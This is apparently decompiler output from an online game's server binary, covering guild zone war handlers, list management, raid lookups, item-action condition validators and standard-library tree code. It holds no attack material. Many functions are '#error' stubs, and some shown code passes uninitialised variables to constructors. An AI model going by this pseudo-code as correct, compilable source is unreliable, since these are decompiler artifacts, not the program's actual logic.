GuildWarManager::gwm_EnemyCheck(&gldwarman, 0, nGuild1, nGuild2); result = 0; } return result; } //----- (005952B0) -------------------------------------------------------- int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_WAR_START_CMD *pCmd) { CGuildZone *v2; // esi@1 CGuildZone::GUILD_ZONE_LIST *v3; // eax@1 unsigned int v4; // ebp@1 CGuildZone::GUILD_ZONE_LIST *v5; // edi@1 CGuildZone::GUILD_ZONE_LIST *v6; // eax@1 int result; // eax@3 v2 = this; v3 = CGuildZone::Find(this, pCmd->nNo); v4 = pCmd->nEnemyNo; v5 = v3; v6 = CGuildZone::Find(v2, v4); if ( v6 && v5 ) { v5->GuildZone.nWarEnemy = v4; v5->GuildZone.nWarStatus = 2; v6->gzl_AttackMeGuild = pCmd->nNo; result = 1; } else { result = 0; } return result; } //----- (00595300) -------------------------------------------------------- int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_WAR_END_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_WAR_END_CMD *pCmd) { int result; // eax@1 result = (int)CGuildZone::Find(this, pCmd->nNo); if ( result ) { *(_DWORD *)(result + 45) = pCmd->nEnemyNo; *(_BYTE *)(result + 44) = 0; result = 1; } return result; } //----- (00595330) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00595380) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (005954A0) -------------------------------------------------------- int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_LIST_ACK(CGuildZone *this, PROTO_NC_GUILD_ZONE_LIST_ACK *pAck) { signed int v2; // esi@1 CGuildZone *v3; // ebp@1 GUILD_ZONE *v4; // edi@4 int result; // eax@6 v2 = 0; v3 = this; if ( pAck->PartMask & 1 ) { this->m_bInit = 0; List::l_Clear(&this->gz_GuildList); } if ( pAck->NumOfList > 0u ) { v4 = (GUILD_ZONE *)&pAck[1]; do { CGuildZone::Add(v3, v4); ++v2; ++v4; } while ( v2 < pAck->NumOfList ); } result = 1; if ( pAck->PartMask & 2 ) v3->m_bInit = 1; return result; } //----- (005954F0) -------------------------------------------------------- int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_DELETE_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_DELETE_CMD *pCmd) { int v2; // ebp@0 CGuildZone *v3; // esi@1 ShineObjectEachList *v4; // edi@2 unsigned __int16 v6; // bp@5 unsigned __int16 v7; // cx@6 ListStruct *v8; // eax@7 int v9; // esi@7 unsigned __int16 v10; // bx@7 bool v11; // cf@7 int v12; // eax@8 int v13; // eax@9 ListStruct *v14; // eax@13 char v15; // cl@13 int v16; // eax@13 int v17; // ecx@14 int v18; // eax@17 int v19; // ecx@18 int v20; // eax@21 int v21; // eax@22 int v22; // eax@26 int v23; // eax@27 ListStruct *v24; // eax@31 char v25; // cl@31 int v26; // eax@31 int v27; // ecx@32 int v28; // eax@35 int v29; // ecx@36 int v30; // eax@39 CGuildZone::GUILD_ZONE_LIST *v31; // eax@42 int v32; // [sp-10h] [bp-14h]@5 CGuildZone *thisa; // [sp+0h] [bp-4h]@1 v3 = this; thisa = this; MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon(&mapclustermanager, CATEGORY_GUILD, pCmd->nNo, 0); if ( !CGuildZone::Find(v3, pCmd->nNo) ) return 0; v4 = shineobjmanager.som_ListContainer[2]; if ( !shineobjmanager.som_ListContainer[2] ) { AssertClass::ac_AssertFail( &shineassert, "CGuildZone::Recv_NC_GUILD_ZONE_DELETE_CMD : NULL List", shineobjmanager.som_ListContainer[2] != 0); return 0; } v32 = v2; v6 = shineobjmanager.som_ListContainer[2]->baseclass_0.l_Array[shineobjmanager.som_ListContainer[2]->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v7 = v4->baseclass_0.l_MaxSize; if ( v6 >= v7 ) break; v8 = v4->baseclass_0.l_Array; v9 = v6; v10 = v6; v11 = v6 < v7; v6 = v8[v6].ls_Next; if ( v11 && (v12 = (int)&v8[v9], *(_BYTE *)(v12 + 8)) ) v13 = *(_DWORD *)v12; else v13 = 0; if ( (*(int (__thiscall **)(int))(*(_DWORD *)v13 + 2072))(v13) == pCmd->nNo ) { if ( v10 < v4->baseclass_0.l_MaxSize && (v14 = v4->baseclass_0.l_Array, v15 = v14[v9].ls_IsActiv, v16 = (int)&v14[v9], v15) ) v17 = *(_DWORD *)v16; else v17 = 0; (*(void (__stdcall **)(_DWORD, int))(*(_DWORD *)v17 + 2076))(0, v32); if ( v10 < v4->baseclass_0.l_MaxSize && (v18 = (int)&v4->baseclass_0.l_Array[v9], *(_BYTE *)(v18 + 8)) ) v19 = *(_DWORD *)v18; else v19 = 0; v32 = 0; (*(void (**)(void))(*(_DWORD *)v19 + 2080))(); if ( v10 < v4->baseclass_0.l_MaxSize && (v20 = (int)&v4->baseclass_0.l_Array[v9], *(_BYTE *)(v20 + 8)) ) v21 = *(_DWORD *)v20; else v21 = 0; (*(void (__thiscall **)(int))(*(_DWORD *)v21 + 2084))(v21); } if ( v10 < v4->baseclass_0.l_MaxSize && (v22 = (int)&v4->baseclass_0.l_Array[v9], *(_BYTE *)(v22 + 8)) ) v23 = *(_DWORD *)v22; else v23 = 0; if ( (*(int (__thiscall **)(int))(*(_DWORD *)v23 + 2140))(v23) == pCmd->nNo ) { if ( v10 < v4->baseclass_0.l_MaxSize && (v24 = v4->baseclass_0.l_Array, v25 = v24[v9].ls_IsActiv, v26 = (int)&v24[v9], v25) ) v27 = *(_DWORD *)v26; else v27 = 0; (*(void (__stdcall **)(_DWORD, int))(*(_DWORD *)v27 + 2144))(0, v32); if ( v10 < v4->baseclass_0.l_MaxSize && (v28 = (int)&v4->baseclass_0.l_Array[v9], *(_BYTE *)(v28 + 8)) ) v29 = *(_DWORD *)v28; else v29 = 0; v32 = 0; (*(void (**)(void))(*(_DWORD *)v29 + 2148))(); if ( v10 < v4->baseclass_0.l_MaxSize && (v30 = (int)&v4->baseclass_0.l_Array[v9], *(_BYTE *)(v30 + 8)) ) (*(void (__thiscall **)(_DWORD))(**(_DWORD **)v30 + 2084))(*(_DWORD *)v30); else (*(void (__thiscall **)(_DWORD))(v0 + 2084))(0); } } v31 = CGuildZone::Find(thisa, pCmd->nNo); if ( !v31 ) return 0; thisa->gz_GuildList.vfptr->l_Free(&thisa->gz_GuildList, v31->gzl_ListHandle); return 1; } // 5954F0: could not find valid save-restore pair for ebp //----- (00595710) -------------------------------------------------------- #error "595710: undefined or illegal type 'ListArray' (funcsize=91)" //----- (00595830) -------------------------------------------------------- #error "595830: undefined or illegal type '#734' (funcsize=44)" //----- (005958D0) -------------------------------------------------------- #error "5958D0: undefined or illegal type '#734' (funcsize=5)" //----- (005958E0) -------------------------------------------------------- #error "5958E0: undefined or illegal type '#593' (funcsize=116)" //----- (00595A20) -------------------------------------------------------- void __thiscall RaidSystem::_RaidSystem(RaidSystem *this) { _eh_vector_destructor_iterator_(this, 0x54u, 500, (void (__thiscall *)(void *))Raid::_Raid); } //----- (00595A40) -------------------------------------------------------- #error "595A40: undefined or illegal type '#593' (funcsize=149)" //----- (00595C30) -------------------------------------------------------- #error "595C30: undefined or illegal type '#734' (funcsize=57)" //----- (00595CE0) -------------------------------------------------------- #error "595CE0: undefined or illegal type '#734' (funcsize=51)" //----- (00595D70) -------------------------------------------------------- #error "595D70: undefined or illegal type '#734' (funcsize=90)" //----- (00595E80) -------------------------------------------------------- #error "595E80: undefined or illegal type '#734' (funcsize=55)" //----- (00595F30) -------------------------------------------------------- #error "595F30: undefined or illegal type '#734' (funcsize=139)" //----- (005960E0) -------------------------------------------------------- RaidSystem *__cdecl RaidTask::GetRaidSystem() { if ( !(_S5_67 & 1) ) { _S5_67 |= 1u; RaidSystem::RaidSystem(&raid, &partycontainer); atexit(_E6_85); } return &raid; } //----- (00596150) -------------------------------------------------------- #error "596150: undefined or illegal type '#593' (funcsize=70)" //----- (00596220) -------------------------------------------------------- Raid *__cdecl RaidTask::rt_GetRaid(unsigned __int16 rRaidRegNo) { RaidSystem *v1; // eax@1 v1 = RaidTask::GetRaidSystem(); return RaidSystem::GetRaid(v1, rRaidRegNo); } //----- (00596240) -------------------------------------------------------- #error "596240: undefined or illegal type '#734' (funcsize=103)" //----- (00596350) -------------------------------------------------------- #error "596350: undefined or illegal type '#593' (funcsize=95)" //----- (00596480) -------------------------------------------------------- #error "596480: undefined or illegal type '#593' (funcsize=106)" //----- (005965C0) -------------------------------------------------------- #error "5965C0: undefined or illegal type '#734' (funcsize=46)" //----- (00596640) -------------------------------------------------------- #error "596640: undefined or illegal type '#734' (funcsize=46)" //----- (005966C0) -------------------------------------------------------- char __cdecl RaidTask::rt_GetNearRaidPlayer(RaidTask::NearRaidPlayers *rRaidPlayers, unsigned __int16 RaidRegNo, #593 *pCenter) { return RaidTask::_GetRaidPlayer(rRaidPlayers, RaidRegNo, pCenter, 0x3E8u); } //----- (005966E0) -------------------------------------------------------- char __cdecl RaidTask::rt_GetRaidPlayer(RaidTask::NearRaidPlayers *rRaidPlayers, unsigned __int16 RaidRegNo) { return RaidTask::_GetRaidPlayer(rRaidPlayers, RaidRegNo, 0, 0); } //----- (00596700) -------------------------------------------------------- #error "596700: undefined or illegal type '#593' (funcsize=94)" //----- (00596860) -------------------------------------------------------- void *__thiscall IObjectTypeValidator::_vector_deleting_destructor_(IObjectTypeValidator *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (IObjectTypeValidatorVtbl *)&IObjectTypeValidator::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 67E5B8: using guessed type int (__thiscall *IObjectTypeValidator___vftable_)(void *p, char); //----- (00596880) -------------------------------------------------------- #error "596880: undefined or illegal type '#593' (funcsize=112)" //----- (00596A20) -------------------------------------------------------- #error "596A20: undefined or illegal type '#593' (funcsize=17)" //----- (00596A50) -------------------------------------------------------- #error "596A50: undefined or illegal type '#593' (funcsize=17)" //----- (00596A80) -------------------------------------------------------- void __thiscall CharClassValidator::CharClassValidator(CharClassValidator *this, unsigned int value) { this->baseclass_0._value = value; this->baseclass_0.vfptr = (IObjectTypeValidatorVtbl *)&CharClassValidator::_vftable_; switch ( value ) { case 0u: this->baseclass_0._value = 1; break; case 1u: this->baseclass_0._value = 11; break; case 2u: this->baseclass_0._value = 6; break; case 3u: this->baseclass_0._value = 16; break; case 4u: this->baseclass_0._value = 21; break; default: return; } } // 67E5D8: using guessed type int (__thiscall *CharClassValidator___vftable_)(void *p, char); //----- (00596AF0) -------------------------------------------------------- #error "596AF0: undefined or illegal type '#593' (funcsize=14)" //----- (00596B20) -------------------------------------------------------- IObjectTypeValidator *__cdecl MakeValidator(ActionTargetType actionTargetType, unsigned int value) { IObjectTypeValidator *result; // eax@2 void *v3; // eax@8 switch ( actionTargetType ) { case 0: result = (IObjectTypeValidator *)operator new(8u); if ( !result ) goto LABEL_10; result->_value = value; result->vfptr = (IObjectTypeValidatorVtbl *)&TargetTypeValidator::_vftable_; break; case 1: result = (IObjectTypeValidator *)operator new(8u); if ( !result ) goto LABEL_10; result->_value = value; result->vfptr = (IObjectTypeValidatorVtbl *)&MobGradeTypeValidator::_vftable_; break; case 2: result = (IObjectTypeValidator *)operator new(8u); if ( !result ) goto LABEL_10; result->_value = value; result->vfptr = (IObjectTypeValidatorVtbl *)&MobTypeValidator::_vftable_; break; case 3: v3 = operator new(8u); if ( !v3 ) goto LABEL_10; CharClassValidator::CharClassValidator((CharClassValidator *)result, value); break; default: LABEL_10: result = 0; break; } return result; } // 67E5C0: using guessed type int (__thiscall *TargetTypeValidator___vftable_)(void *p, char); // 67E5C8: using guessed type int (__thiscall *MobGradeTypeValidator___vftable_)(void *p, char); // 67E5D0: using guessed type int (__thiscall *MobTypeValidator___vftable_)(void *p, char); //----- (00596BC0) -------------------------------------------------------- void __thiscall MobGradeTypeValidator::_MobGradeTypeValidator(CharClassValidator *this) { this->baseclass_0.vfptr = (IObjectTypeValidatorVtbl *)&IObjectTypeValidator::_vftable_; } // 67E5B8: using guessed type int (__thiscall *IObjectTypeValidator___vftable_)(void *p, char); //----- (00596BD0) -------------------------------------------------------- void *__thiscall MobTypeValidator::_scalar_deleting_destructor_(CharClassValidator *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobGradeTypeValidator::_MobGradeTypeValidator(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00596BF0) -------------------------------------------------------- void __thiscall ABStateCondition::_ABStateCondition(RangeCondition *this) { RangeCondition *v1; // esi@1 IObjectTypeValidator *v2; // ecx@1 IObjectTypeValidator *v3; // ecx@3 v1 = this; v2 = this->baseclass_0._subjectValidator; v1->baseclass_0.vfptr = (IActConditionVtbl *)&IActCondition::_vftable_; if ( v2 ) ((void (__stdcall *)(_DWORD))v2->vfptr->__vecDelDtor)(1); v3 = v1->baseclass_0._objectValidator; if ( v3 ) ((void (__stdcall *)(_DWORD))v3->vfptr->__vecDelDtor)(1); } // 67E5E0: using guessed type int (__thiscall *IActCondition___vftable_)(void *p, char); //----- (00596C20) -------------------------------------------------------- bool __thiscall IActCondition::_typeValidationCheck(IActCondition *this, ItemActionArgument *arg) { ItemActionCondition *v2; // eax@1 v2 = this->_conditionData; return v2->ConditionActivity == arg->condition.type && v2->ConditionActivityValue == arg->condition.subtype.attackType; } //----- (00596C50) -------------------------------------------------------- #error "596C50: undefined or illegal type '#593' (funcsize=30)" //----- (00596C90) -------------------------------------------------------- void *__thiscall IActCondition::_scalar_deleting_destructor_(IActCondition *this, unsigned int a2) { IActCondition *v2; // esi@1 IObjectTypeValidator *v3; // ecx@1 IObjectTypeValidator *v4; // ecx@3 v2 = this; v3 = this->_subjectValidator; v2->vfptr = (IActConditionVtbl *)&IActCondition::_vftable_; if ( v3 ) ((void (__stdcall *)(_DWORD))v3->vfptr->__vecDelDtor)(1); v4 = v2->_objectValidator; if ( v4 ) ((void (__stdcall *)(_DWORD))v4->vfptr->__vecDelDtor)(1); if ( a2 & 1 ) operator delete(v2); return v2; } // 67E5E0: using guessed type int (__thiscall *IActCondition___vftable_)(void *p, char); //----- (00596CD0) -------------------------------------------------------- void __thiscall ABStateCondition::ABStateCondition(EtcCondition *this, ItemActionCondition *conditionData) { EtcCondition *v2; // esi@1 v2 = this; this->baseclass_0.vfptr = (IActConditionVtbl *)&IActCondition::_vftable_; this->baseclass_0._conditionData = conditionData; this->baseclass_0._subjectValidator = MakeValidator(conditionData->SubjectTarget, conditionData->SubjectTargetValue); v2->baseclass_0._objectValidator = MakeValidator(conditionData->ObjectTarget, conditionData->ObjectTargetValue); v2->baseclass_0.vfptr = (IActConditionVtbl *)&ActiveSkillGroupCondition::_vftable_; } // 67E5E0: using guessed type int (__thiscall *IActCondition___vftable_)(void *p, char); // 67E5EC: using guessed type int (__thiscall *ActiveSkillGroupCondition___vftable_)(void *p, char); //----- (00596D20) -------------------------------------------------------- #error "596D20: undefined or illegal type '#593' (funcsize=47)" //----- (00596D90) -------------------------------------------------------- #error "596D90: undefined or illegal type '#593' (funcsize=79)" //----- (00596E80) -------------------------------------------------------- std::_Tree_nod,std::allocator >,0> >::_Node *__cdecl std::_Tree_std::allocator>_1>>::_Max(std::_Tree_nod,std::allocator >,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator >,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (00596EA0) -------------------------------------------------------- void *__thiscall ActiveSkillGroupCondition::_vector_deleting_destructor_(RangeCondition *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ABStateCondition::_ABStateCondition(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00596EC0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_1>>::_Rrotate(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator >,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator >,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00596F20) -------------------------------------------------------- int std::_Tree_std::allocator>_1>>::_Buynode(...) { std::_Tree_nod,std::allocator >,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator >,0> >::_Node *)operator new(0x18u); if ( result ) { result->_Left = _Larg; result->_Right = _Rarg; result->_Parent = _Parg; *(_DWORD *)&result->_Myval.first = *(_DWORD *)&_Val->first; result->_Myval.second = _Val->second; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (00596F60) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator >,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator >,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator>_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00596FA0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator >,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator >,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator>_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00596FE0) -------------------------------------------------------- ActionRangeFactor *__cdecl ActionRangeFactors::getRangeFactor(unsigned int index) { std::_Tree_nod,std::allocator >,0> >::_Node *v1; // ecx@0 std::_Tree_nod,std::allocator >,0> >::_Node *result; // [sp+0h] [bp-4h]@1 result = v1; std::_Tree_std::allocator>_0>>::find( &ActionRangeFactors::_rangeFactors, (std::_Tree,std::allocator >,0> >::iterator *)&result, &index); if ( result == ActionRangeFactors::_rangeFactors._Myhead ) { AssertClass::ac_AssertFail(&shineassert, "Cannot find ActionRangeFactor", index); ShineExit("ActionRangeFactors::getRangeFactor"); } return (ActionRangeFactor *)result->_Myval.second; } //----- (00597040) -------------------------------------------------------- IActCondition *__cdecl ItemActionConditions::getCond(unsigned __int16 index) { std::_Tree_nod,std::allocator >,0> >::_Node *v1; // ecx@0 IActCondition *v2; // eax@2 std::_Tree_nod,std::allocator >,0> >::_Node *result; // [sp+0h] [bp-4h]@1 result = v1; std::_Tree_std::allocator>_0>>::find( &ItemActionConditions::_conditions, (std::_Tree,std::allocator >,0> >::iterator *)&result, &index); if ( result == ItemActionConditions::_conditions._Myhead ) { AssertClass::ac_AssertFail(&shineassert, "Cannot find ItemActionCondition", index); v2 = 0; } else { v2 = (IActCondition *)result->_Myval.second; } return v2; } //----- (00597090) -------------------------------------------------------- void __thiscall RangeCondition::RangeCondition(RangeCondition *this, ItemActionCondition *conditionData) { RangeCondition *v2; // esi@1 v2 = this; this->baseclass_0.vfptr = (IActConditionVtbl *)&IActCondition::_vftable_; this->baseclass_0._conditionData = conditionData; this->baseclass_0._subjectValidator = MakeValidator(conditionData->SubjectTarget, conditionData->SubjectTargetValue); v2->baseclass_0._objectValidator = MakeValidator(conditionData->ObjectTarget, conditionData->ObjectTargetValue); v2->baseclass_0.vfptr = (IActConditionVtbl *)&RangeCondition::_vftable_; v2->_rangeData = ActionRangeFactors::getRangeFactor(conditionData->ConditionActivityValue); } // 67E5E0: using guessed type int (__thiscall *IActCondition___vftable_)(void *p, char); // 67E65C: using guessed type int (__thiscall *RangeCondition___vftable_)(void *p, char); //----- (00597110) -------------------------------------------------------- IActCondition *__cdecl MakeCondition(ItemActionCondition *conditionData) { void *v1; // eax@2 IActCondition *result; // eax@3 void *v3; // eax@4 void *v4; // eax@6 void *v5; // eax@8 void *v6; // eax@10 void *v7; // eax@12 switch ( conditionData->ConditionActivity ) { case 0: v1 = operator new(0x10u); if ( !v1 ) goto LABEL_14; ABStateCondition::ABStateCondition((EtcCondition *)v1, conditionData); return result; case 2: v3 = operator new(0x10u); if ( !v3 ) goto LABEL_14; ABStateCondition::ABStateCondition((EtcCondition *)result, conditionData); return result; case 4: v4 = operator new(0x10u); if ( !v4 ) goto LABEL_14; ABStateCondition::ABStateCondition((EtcCondition *)result, conditionData); return result; case 6: v5 = operator new(0x14u); if ( !v5 ) goto LABEL_14; RangeCondition::RangeCondition((RangeCondition *)result, conditionData); return result; case 7: v6 = operator new(0x10u); if ( !v6 ) goto LABEL_14; ABStateCondition::ABStateCondition((EtcCondition *)result, conditionData); break; case 8: v7 = operator new(0x10u); if ( v7 ) ABStateCondition::ABStateCondition((EtcCondition *)result, conditionData); else LABEL_14: result = 0; break; default: AssertClass::ac_AssertFail(&shineassert, "Unexpected condition type", conditionData->ConditionID); ShineExit("::MakeCondition"); return result; } return result; } //----- (005972F0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val) { std::_Tree,std::allocator >,0> > *v5; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator >,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator >,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x1FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator>_1>>::_Buynode( (std::_Tree,std::allocator >,0> > *)this, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Wherenode, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::pair *)_Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v5->_Myhead->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v5->_Myhead->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { if ( _Addleft ) { _Wherenode->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { _Wherenode->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 20) = 1; *(_BYTE *)(v14 + 20) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 20) = 0; v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (005974A0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where) { std::_Tree,std::allocator >,0> > *v3; // ebp@1 std::_Tree,std::allocator >,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator >,0> >::iterator v5; // edi@5 std::_Tree,std::allocator >,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator >,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator >,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator >,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator >,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator >,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; 